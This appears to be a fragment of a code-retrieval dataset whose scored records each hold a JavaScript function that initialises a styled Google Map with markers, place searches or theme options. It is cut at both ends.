[\n {\n \"color\": \"#1d2c4d\"\n }\n ]\n },\n {\n \"featureType\": \"transit.line\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#283d6a\"\n }\n ]\n },\n {\n \"featureType\": \"transit.station\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#3a4762\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#0e1626\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#4e6d70\"\n }\n ]\n }\n ],\n {name: 'Styled Map'});\n\n /*\n For the map to be displayed, the googleMap var must be\n appended to #mapDiv in resumeBuilder.js.\n */\n map = new google.maps.Map(document.querySelector('.map'), mapOptions);\n\n // associate the styled map with the maptypeid and display it\n map.mapTypes.set('styled_map', styledMapType);\n map.setMapTypeId('styled_map');\n\n\n /*\n locationFinder() returns an array of every location string from the JSONs\n written for bio, education, and work.\n */\n function locationFinder() {\n\n // initializes an empty array\n var locations = [];\n\n // adds the single location property and the hometown from bio to the locations array\n locations.push(bio.location, bio.hometown);\n\n // iterates through school locations and appends each location to\n // the locations array. Note that forEach is used for array iteration\n // as described in the Udacity FEND Style Guide:\n // https://udacity.github.io/frontend-nanodegree-styleguide/javascript.html#for-in-loop\n education.schools.forEach(function(school){\n locations.push(school.location);\n });\n\n // iterates through work locations and appends each location to\n // the locations array. Note that forEach is used for array iteration\n // as described in the Udacity FEND Style Guide:\n // https://udacity.github.io/frontend-nanodegree-styleguide/javascript.html#for-in-loop\n work.jobs.forEach(function(job){\n locations.push(job.location);\n });\n\n return locations;\n\n }\n\n /*\n createMapMarker(placeData) reads Google Places search results to create map pins.\n placeData is the object returned from search results containing information\n about a single location.\n */\n function createMapMarker(placeData) {\n\n // The next lines save location data from the search result object to local variables\n var lat = placeData.geometry.location.lat(); // latitude from the place service\n var lon = placeData.geometry.location.lng(); // longitude from the place service\n var name = placeData.formatted_address; // name of the place from the place service\n var bounds = window.mapBounds; // current boundaries of the map window\n\n // marker is an object with additional data about the pin for a single location\n var marker = new google.maps.Marker({\n map: map,\n position: placeData.geometry.location,\n title: name\n });\n\n // infoWindows are the little helper windows that open when you click\n // or hover over a pin on a map. They usually contain more information\n // about a location.\n var infoWindow = new google.maps.InfoWindow({\n content: '<h3>'+name+'</h3>'\n });\n\n // hmmmm, I wonder what this is about...\n google.maps.event.addListener(marker, 'click', function() {\n // your code goes here!\n infoWindow.open(map, marker);\n });\n\n // this is where the pin actually gets added to the map.\n // bounds.extend() takes in a map location object\n bounds.extend(new google.maps.LatLng(lat, lon));\n // fit the map to the new marker\n map.fitBounds(bounds);\n // center the map\n map.setCenter(bounds.getCenter());\n }\n\n /*\n callback(results, status) makes sure the search returned results for a location.\n If so, it creates a new map marker for that location.\n */\n function callback(results, status) {\n if (status == google.maps.places.PlacesServiceStatus.OK) {\n createMapMarker(results[0]);\n }\n }\n\n /*\n pinPoster(locations) takes in the array of locations created by locationFinder()\n and fires off Google place searches for each location\n */\n function pinPoster(locations) {\n\n // creates a Google place search service object. PlacesService does the work of\n // actually searching for location data.\n var service = new google.maps.places.PlacesService(map);\n\n // Iterates through the array of locations, creates a search object for each location\n locations.forEach(function(place){\n // sets the query for a certain place that will will be requested from api\n var request = {\n query: place\n };\n\n // Actually searches the Google Maps API for location data and runs the callback\n // function with the search results after each search.\n service.textSearch(request, callback);\n });\n }\n\n // Sets the boundaries of the map based on pin locations\n window.mapBounds = new google.maps.LatLngBounds();\n\n // locations is an array of location strings returned from locationFinder()\n locations = locationFinder();\n\n // pinPoster(locations) creates pins on the map for each location in\n // the locations array\n pinPoster(locations);\n\n}", "title": "" }, { "docid": "549af4b2c6b1b79eb6a24c5759e2a89a", "score": "0.6605111", "text": "function GoogleMap() {\n if ($('#map').length) {\n // Option map\n var $map = $('#map'),\n mapZoom = $map.data('map-zoom'),\n lat = $map.data('map-latlng').split(',')[0],\n lng = $map.data('map-latlng').split(',')[1],\n marker = $map.data('map-marker'),\n width = parseInt($map.data('map-marker-size').split('*')[0], 10),\n height = parseInt($map.data('map-marker-size').split('*')[1], 10),\n grayscale = [\n {featureType: 'all', stylers: [{saturation: -100},{gamma: 0.50}]}\n ],\n blue = [\n {featureType: 'all', stylers: [{hue: '#0000b0'},{invert_lightness: 'true'},{saturation: -30}]}\n ],\n dark = [\n {featureType: 'all', stylers: [{ hue: '#ff1a00' },{ invert_lightness: true },{ saturation: -100 },{ lightness: 33 },{ gamma: 0.5 }]}\n ],\n pink = [\n {\"stylers\": [{ \"hue\": \"#ff61a6\" },{ \"visibility\": \"on\" },{ \"invert_lightness\": true },{ \"saturation\": 40 },{ \"lightness\": 10 }]}\n ],\n light = [\n {\"featureType\": \"water\",\"elementType\": \"all\",\"stylers\": [{\"hue\": \"#e9ebed\"},{\"saturation\": -78},{\"lightness\": 67},{\"visibility\": \"simplified\"}]\n },{\"featureType\": \"landscape\",\"elementType\": \"all\",\"stylers\": [{\"hue\": \"#ffffff\"},{\"saturation\": -100},{\"lightness\": 100},{\"visibility\": \"simplified\"}]\n },{\"featureType\": \"road\",\"elementType\": \"geometry\",\"stylers\": [{\"hue\": \"#bbc0c4\"},{\"saturation\": -93},{\"lightness\": 31},{\"visibility\": \"simplified\"}]\n },{\"featureType\": \"poi\",\"elementType\": \"all\",\"stylers\": [{\"hue\": \"#ffffff\"},{\"saturation\": -100},{\"lightness\": 100},{\"visibility\": \"off\"}]\n },{\"featureType\": \"road.local\",\"elementType\": \"geometry\",\"stylers\": [{\"hue\": \"#e9ebed\"},{\"saturation\": -90},{\"lightness\": -8},{\"visibility\": \"simplified\"}]\n },{\"featureType\": \"transit\",\"elementType\": \"all\",\"stylers\": [{\"hue\": \"#e9ebed\"},{\"saturation\": 10},{\"lightness\": 69},{\"visibility\": \"on\"}]\n },{\"featureType\": \"administrative.locality\",\"elementType\": \"all\",\"stylers\": [ {\"hue\": \"#2c2e33\"},{\"saturation\": 7},{\"lightness\": 19},{\"visibility\": \"on\"}]\n },{\"featureType\": \"road\",\"elementType\": \"labels\",\"stylers\": [{\"hue\": \"#bbc0c4\"},{\"saturation\": -93},{\"lightness\": 31},{\"visibility\": \"on\"}]\n },{\"featureType\": \"road.arterial\",\"elementType\": \"labels\",\"stylers\": [{\"hue\": \"#bbc0c4\"},{\"saturation\": -93},{\"lightness\": -2},{\"visibility\": \"simplified\"}]}\n ],\n blueessence = [\n {featureType: \"landscape.natural\",elementType: \"geometry.fill\",stylers: [{ \"visibility\": \"on\" },{ \"color\": \"#e0efef\" }]\n },{featureType: \"poi\",elementType: \"geometry.fill\",stylers: [{ \"visibility\": \"on\" },{ \"hue\": \"#1900ff\" },{ \"color\": \"#c0e8e8\" }]\n },{featureType: \"landscape.man_made\",elementType: \"geometry.fill\"\n },{featureType: \"road\",elementType: \"geometry\",stylers: [{ lightness: 100 },{ visibility: \"simplified\" }]\n },{featureType: \"road\",elementType: \"labels\",stylers: [{ visibility: \"off\" }]\n },{featureType: 'water',stylers: [{ color: '#7dcdcd' }]\n },{featureType: 'transit.line',elementType: 'geometry',stylers: [{ visibility: 'on' },{ lightness: 700 }]}\n ],\n bentley = [\n {featureType: \"landscape\",stylers: [{hue: \"#F1FF00\"},{saturation: -27.4},{lightness: 9.4},{gamma: 1}]\n },{featureType: \"road.highway\",stylers: [{hue: \"#0099FF\"},{saturation: -20},{lightness: 36.4},{gamma: 1}]\n },{featureType: \"road.arterial\",stylers: [{hue: \"#00FF4F\"},{saturation: 0},{lightness: 0},{gamma: 1}]\n },{featureType: \"road.local\",stylers: [{hue: \"#FFB300\"},{saturation: -38},{lightness: 11.2},{gamma: 1}]\n },{featureType: \"water\",stylers: [{hue: \"#00B6FF\"},{saturation: 4.2},{lightness: -63.4},{gamma: 1}]\n },{featureType: \"poi\",stylers: [{hue: \"#9FFF00\"},{saturation: 0},{lightness: 0},{gamma: 1}]}\n ],\n retro = [\n {featureType:\"administrative\",stylers:[{visibility:\"off\"}]\n },{featureType:\"poi\",stylers:[{visibility:\"simplified\"}]},{featureType:\"road\",elementType:\"labels\",stylers:[{visibility:\"simplified\"}]\n },{featureType:\"water\",stylers:[{visibility:\"simplified\"}]},{featureType:\"transit\",stylers:[{visibility:\"simplified\"}]},{featureType:\"landscape\",stylers:[{visibility:\"simplified\"}]\n },{featureType:\"road.highway\",stylers:[{visibility:\"off\"}]},{featureType:\"road.local\",stylers:[{visibility:\"on\"}]\n },{featureType:\"road.highway\",elementType:\"geometry\",stylers:[{visibility:\"on\"}]},{featureType:\"water\",stylers:[{color:\"#84afa3\"},{lightness:52}]},{stylers:[{saturation:-17},{gamma:0.36}]\n },{featureType:\"transit.line\",elementType:\"geometry\",stylers:[{color:\"#3f518c\"}]}\n ],\n cobalt = [\n {featureType: \"all\",elementType: \"all\",stylers: [{invert_lightness: true},{saturation: 10},{lightness: 30},{gamma: 0.5},{hue: \"#435158\"}]}\n ],\n brownie = [\n {\"stylers\": [{ \"hue\": \"#ff8800\" },{ \"gamma\": 0.4 }]}\n ];\n var mapTheme;\n switch($map.data('snazzy-map-theme')){\n case 'grayscale' : {\n mapTheme = grayscale;\n } break;\n case 'blue' : {\n mapTheme = blue;\n } break;\n case 'dark' : {\n mapTheme = dark;\n } break;\n case 'pink' : {\n mapTheme = pink;\n } break;\n case 'light' : {\n mapTheme = light;\n } break;\n case 'blue-essence' : {\n mapTheme = blueessence;\n } break;\n case 'bentley' : {\n mapTheme = bentley;\n } break;\n case 'retro' : {\n mapTheme = retro;\n } break;\n case 'cobalt' : {\n mapTheme = cobalt;\n } break;\n case 'brownie' : {\n mapTheme = brownie;\n } break;\n default : {\n mapTheme = grayscale;\n }\n }\n\n // Map\n if (isMobile.any()) {\n var noDraggableMobile = false;\n } else {\n var noDraggableMobile = true;\n }\n var MY_MAPTYPE_ID = 'custom_style';\n var featureOpts = mapTheme;\n var latlng = new google.maps.LatLng(lat, lng);\n var settings = {\n zoom: mapZoom,\n center: latlng,\n mapTypeControlOptions: {\n mapTypeIds: [google.maps.MapTypeId.ROADMAP, MY_MAPTYPE_ID]\n },\n mapTypeControl: false,\n mapTypeId: MY_MAPTYPE_ID,\n scrollwheel: false,\n draggable: noDraggableMobile,\n };\n\n var map = new google.maps.Map(document.getElementById(\"map\"), settings);\n var styledMapOptions = {\n name: 'Custom Style'\n };\n var customMapType = new google.maps.StyledMapType(featureOpts, styledMapOptions);\n\n map.mapTypes.set(MY_MAPTYPE_ID, customMapType);\n\n google.maps.event.addDomListener(window, \"resize\", function () {\n var center = map.getCenter();\n google.maps.event.trigger(map, \"resize\");\n map.setCenter(center);\n });\n var companyImage = new google.maps.MarkerImage(marker,\n new google.maps.Size(width, height),\n new google.maps.Point(0, 0)\n );\n var companyPos = new google.maps.LatLng(lat, lng);\n var companyMarker = new google.maps.Marker({\n position: companyPos,\n map: map,\n icon: companyImage,\n title: \"Oringin\",\n zIndex: 3\n });\n }\n }", "title": "" }, { "docid": "771ea9ef4b9b34a8ee34c8e00c0e5428", "score": "0.6580638", "text": "function initMap(latitude, longitude) {\n var myLatLng = { lat: latitude, lng: longitude };\n var googleMapOptions = {\n zoom: 8,\n center: myLatLng,\n draggable: true,\n styles: [{ \"featureType\": \"administrative\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"administrative\", \"elementType\": \"geometry\", \"stylers\": [{ \"visibility\": \"simplified\" }] }, { \"featureType\": \"administrative\", \"elementType\": \"labels.text.fill\", \"stylers\": [{ \"color\": \"#444444\" }] }, { \"featureType\": \"landscape.man_made\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"on\" }] }, { \"featureType\": \"landscape.man_made\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"visibility\": \"on\" }, { \"hue\": \"#ffb300\" }, { \"saturation\": \"32\" }, { \"lightness\": \"0\" }] }, { \"featureType\": \"landscape.natural\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"simplified\" }, { \"hue\": \"#ffb800\" }, { \"saturation\": \"54\" }] }, { \"featureType\": \"poi\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"road\", \"elementType\": \"all\", \"stylers\": [{ \"saturation\": -100 }, { \"lightness\": 45 }, { \"visibility\": \"on\" }] }, { \"featureType\": \"road\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"visibility\": \"on\" }, { \"hue\": \"#ffb800\" }, { \"saturation\": \"29\" }, { \"lightness\": \"64\" }, { \"gamma\": \"1\" }] }, { \"featureType\": \"road\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"color\": \"#ffda7b\" }] }, { \"featureType\": \"road\", \"elementType\": \"labels\", \"stylers\": [{ \"visibility\": \"simplified\" }] }, { \"featureType\": \"road\", \"elementType\": \"labels.icon\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"road.highway\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"on\" }] }, { \"featureType\": \"road.highway\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"visibility\": \"simplified\" }] }, { \"featureType\": \"road.highway\", \"elementType\": \"labels\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"road.highway\", \"elementType\": \"labels.text.fill\", \"stylers\": [{ \"color\": \"#ffda7b\" }] }, { \"featureType\": \"road.highway\", \"elementType\": \"labels.text.stroke\", \"stylers\": [{ \"color\": \"#ffda7b\" }] }, { \"featureType\": \"transit\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"simplified\" }] }, { \"featureType\": \"transit\", \"elementType\": \"labels\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"transit.station.bus\", \"elementType\": \"labels.icon\", \"stylers\": [{ \"visibility\": \"on\" }] }, { \"featureType\": \"transit.station.rail\", \"elementType\": \"labels.icon\", \"stylers\": [{ \"visibility\": \"on\" }] }, { \"featureType\": \"water\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"visibility\": \"on\" }, { \"saturation\": \"-60\" }, { \"color\": \"#d5cdb6\" }] }],\n };\n\n map = new google.maps.Map(document.getElementById(\"map\"), googleMapOptions);\n\n var marker = new google.maps.Marker({\n position: myLatLng,\n map: map\n });\n\n}", "title": "" }, { "docid": "e14345d56c5a50fc8a11d81453836d40", "score": "0.65480393", "text": "function initialize() {\n var center = new google.maps.LatLng(37.850033, -99.6500523);\n var mapOptions = {\n zoom: 3,\n center: center,\n styles: [\n {elementType: 'geometry', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]},\n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#263c3f'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'labels.text.fill',\n stylers: [{color: '#6b9a76'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry',\n stylers: [{color: '#38414e'}]\n },\n {\n featureType: 'road',\n elementType: 'geometry.stroke',\n stylers: [{color: '#212a37'}]\n },\n {\n featureType: 'road',\n elementType: 'labels.text.fill',\n stylers: [{color: '#9ca5b3'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry',\n stylers: [{color: '#746855'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'geometry.stroke',\n stylers: [{color: '#1f2835'}]\n },\n {\n featureType: 'road.highway',\n elementType: 'labels.text.fill',\n stylers: [{color: '#f3d19c'}]\n },\n {\n featureType: 'transit',\n elementType: 'geometry',\n stylers: [{color: '#2f3948'}]\n },\n {\n featureType: 'transit.station',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'water',\n elementType: 'geometry',\n stylers: [{color: '#17263c'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.fill',\n stylers: [{color: '#515c6d'}]\n },\n {\n featureType: 'water',\n elementType: 'labels.text.stroke',\n stylers: [{color: '#17263c'}]\n }\n ],\n mapTypeId: google.maps.MapTypeId.TERRAIN\n };\n\n map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions);\n for (i = 0; i < markers1.length; i++) {\n addMarker(markers1[i]);\n }\n}", "title": "" }, { "docid": "c04f24d5c3e9b092949c5f557ae611ed", "score": "0.65478075", "text": "function initialize() {\n var mapOptions = {\n center: new google.maps.LatLng(43.67390, -79.34085),\n zoom: 15,\n disableDefaultUI: true,\n keyboardShortcuts: false,\n scrollwheel: false,\n styles: [\n {\n \"featureType\": \"water\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 17\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 17\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 29\n },\n {\n \"weight\": 0.2\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 18\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 21\n }\n ]\n },\n {\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"saturation\": 36\n },\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 40\n }\n ]\n },\n {\n \"elementType\": \"labels.icon\",\n \"stylers\": [\n {\n \"visibility\": \"off\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 19\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 17\n },\n {\n \"weight\": 1.2\n }\n ]\n }\n ]\n };\n var map = new google.maps.Map(document.getElementById(\"ct-bg\"), mapOptions);\n }", "title": "" }, { "docid": "566e553f4d5f95382529f2851360ac72", "score": "0.65444964", "text": "function setupGoogleMaps(myLatlng) {\n var mapOptions = {\n zoom: 10, //Zoom level of the map\n\n center: myLatlng, // The latitude and longitude to center the map\n\n // Map styling. \n scrollwheel: false,\n styles: [{\"featureType\":\"administrative.land_parcel\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"simplified\"},{\"lightness\":20}]},{\"featureType\":\"road.highway\",\"elementType\":\"geometry\",\"stylers\":[{\"hue\":\"#f49935\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"geometry\",\"stylers\":[{\"hue\":\"#fad959\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road.local\",\"elementType\":\"geometry\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.local\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"hue\":\"#a1cdfc\"},{\"saturation\":30},{\"lightness\":49}]}]\n };\n\n \n\n \n\n // Creating the Google Map using options defined above\n map = new google.maps.Map(mapElement, mapOptions);\n \n\n \n }", "title": "" }, { "docid": "72f9e46f1641efde68e25c98f6ef808f", "score": "0.65367943", "text": "function initMap() {\n\tvar styles = [\n\t{\n \"featureType\": \"all\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [\n {\n \"color\": \"#ffffff\"\n }\n ]\n },\n {\n \"featureType\": \"all\",\n \"elementType\": \"labels.text.stroke\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n },\n {\n \"lightness\": 13\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#144b53\"\n },\n {\n \"lightness\": 14\n },\n {\n \"weight\": 10\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"color\": \"#08304b\"\n }\n ]\n },\n {\n \"featureType\": \"poi\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#0c4152\"\n },\n {\n \"lightness\": 5\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#0b434f\"\n },\n {\n \"lightness\": 25\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [\n {\n \"color\": \"#0b3d51\"\n },\n {\n \"lightness\": 16\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#000000\"\n }\n ]\n },\n {\n \"featureType\": \"transit\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"color\": \"#146474\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"color\": \"#021019\"\n }\n ]\n }\n ];\n\n map = new google.maps.Map(document.getElementById('map'), {\n center: {lat: 21.280945, lng: -157.813963},\n zoom: 14,\n styles: styles,\n mapTypeControl: false\n });\n\n console.log(\"init map\");\n}", "title": "" }, { "docid": "9830bdd39460dcff96c1fc98c733bbf1", "score": "0.6536582", "text": "function googleMap() {\n function map_init() {\n var lat = 19.1556593; // Put your latitude Number and\n var log = 72.8340589; // Put your longitude Number\n var mapOptions = {\n zoom: 14,\n center: new google.maps.LatLng(lat, log), // New York\n mapTypeId: google.maps.MapTypeId.ROADMAP,\n scrollwheel: false,\n styles: [{\n \"featureType\": \"administrative\",\n \"elementType\": \"labels.text.fill\",\n \"stylers\": [{\n \"color\": \"#444444\"\n }]\n }, {\n \"featureType\": \"administrative.country\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }]\n }, {\n \"featureType\": \"administrative.province\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"administrative.province\",\n \"elementType\": \"labels.text\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"administrative.locality\",\n \"elementType\": \"geometry\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"administrative.locality\",\n \"elementType\": \"geometry.fill\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"administrative.locality\",\n \"elementType\": \"geometry.stroke\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"administrative.locality\",\n \"elementType\": \"labels.text\",\n \"stylers\": [{\n \"visibility\": \"on\"\n }]\n }, {\n \"featureType\": \"landscape\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"color\": \"#f2f2f2\"\n }]\n }, {\n \"featureType\": \"poi\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"road\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"saturation\": -100\n }, {\n \"lightness\": 45\n }]\n }, {\n \"featureType\": \"road.highway\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"simplified\"\n }]\n }, {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"labels.icon\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"transit\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"visibility\": \"off\"\n }]\n }, {\n \"featureType\": \"water\",\n \"elementType\": \"all\",\n \"stylers\": [{\n \"color\": \"#d1d7d9\"\n }, {\n \"visibility\": \"on\"\n }]\n }]\n };\n var mapElement = document.getElementById('map');\n var map = new google.maps.Map(mapElement, mapOptions);\n\n // Let's also add a marker while we're at it\n new google.maps.Marker({\n position: new google.maps.LatLng(lat, log),\n map: map,\n icon: 'assets/images/map.png'\n });\n }\n // When the window has finished loading create our google map below\n google.maps.event.addDomListener(window, 'load', map_init);\n }", "title": "" }, { "docid": "fdd74b1721309f9b1df7915312330e3b", "score": "0.6530844", "text": "function initialize() {\n var mapOptions = {\n zoom: 4,\n center: new google.maps.LatLng(55.010374, 65.229398),\n \n styles:[{\"featureType\":\"all\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"weight\":\"2.00\"}]},{\"featureType\":\"all\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#9c9c9c\"}]},{\"featureType\":\"all\",\"elementType\":\"labels.text\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"landscape\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#f2f2f2\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ffffff\"}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ffffff\"}]},{\"featureType\":\"poi\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"road\",\"elementType\":\"all\",\"stylers\":[{\"saturation\":-100},{\"lightness\":45}]},{\"featureType\":\"road\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#eeeeee\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#7b7b7b\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"color\":\"#ffffff\"}]},{\"featureType\":\"road.highway\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"simplified\"}]},{\"featureType\":\"road.arterial\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"transit\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"water\",\"elementType\":\"all\",\"stylers\":[{\"color\":\"#46bcec\"},{\"visibility\":\"on\"}]},{\"featureType\":\"water\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#c8d7d4\"}]},{\"featureType\":\"water\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#070707\"}]},{\"featureType\":\"water\",\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"color\":\"#ffffff\"}]}],\n };\n\n map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions);\n for (i = 0; i < markers1.length; i++) {\n addMarker(markers1[i]);\n }\n}", "title": "" }, { "docid": "4bf7eaea596507a4a37608b9a6bdd661", "score": "0.65260077", "text": "function initMap() {\n console.log(document.getElementById(\"map\"));\n var myLatLng = { lat: 50.115126, lng: 8.538058 };\n var latlng = new google.maps.LatLng(50.115126, 8.538058);\n var map = new google.maps.Map(document.getElementById(\"map\"), {\n center: latlng,\n zoom: 16,\n styles: [\n {elementType: 'geometry', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.stroke', stylers: [{color: '#242f3e'}]},\n {elementType: 'labels.text.fill', stylers: [{color: '#746855'}]},\n {\n featureType: 'administrative.locality',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi',\n elementType: 'labels.text.fill',\n stylers: [{color: '#d59563'}]\n },\n {\n featureType: 'poi.park',\n elementType: 'geometry',\n stylers: [{color: '#263c3f'}]\n },\n 